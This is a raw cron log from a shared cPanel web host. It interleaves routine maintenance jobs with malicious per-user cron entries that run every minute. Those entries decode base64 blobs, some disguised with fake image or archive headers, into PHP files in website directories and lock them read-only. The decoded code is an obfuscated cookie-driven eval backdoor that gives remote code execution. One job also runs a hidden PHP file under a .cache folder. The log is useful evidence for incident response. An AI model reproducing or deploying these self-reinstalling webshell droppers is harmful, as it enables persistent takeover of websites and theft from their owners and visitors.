Mar  2 07:50:02 medusa CROND[30121]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:50:02 medusa CROND[30122]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30123]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:50:02 medusa CROND[30127]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:50:02 medusa CROND[30114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:50:02 medusa CROND[30113]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:50:02 medusa CROND[30116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:50:02 medusa CROND[30128]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:50:02 medusa CROND[30144]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:50:02 medusa CROND[30147]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:50:02 medusa CROND[30164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30157]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:51:01 medusa CROND[16834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:51:01 medusa CROND[17083]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:51:01 medusa CROND[17088]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:51:01 medusa CROND[17093]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:51:01 medusa CROND[17094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:51:01 medusa CROND[17109]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:51:01 medusa CROND[17112]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:51:01 medusa CROND[17111]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:51:01 medusa CROND[17113]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:51:01 medusa CROND[17114]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:51:01 medusa CROND[17117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:51:01 medusa CROND[17126]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:51:01 medusa CROND[17122]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:51:01 medusa CROND[17130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:51:01 medusa CROND[17124]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:52:01 medusa CROND[1358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:52:01 medusa CROND[1494]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:52:01 medusa CROND[1495]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:52:01 medusa CROND[1496]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:52:01 medusa CROND[1497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:52:01 medusa CROND[1503]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:52:01 medusa CROND[1504]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:52:01 medusa CROND[1510]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:52:01 medusa CROND[1513]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
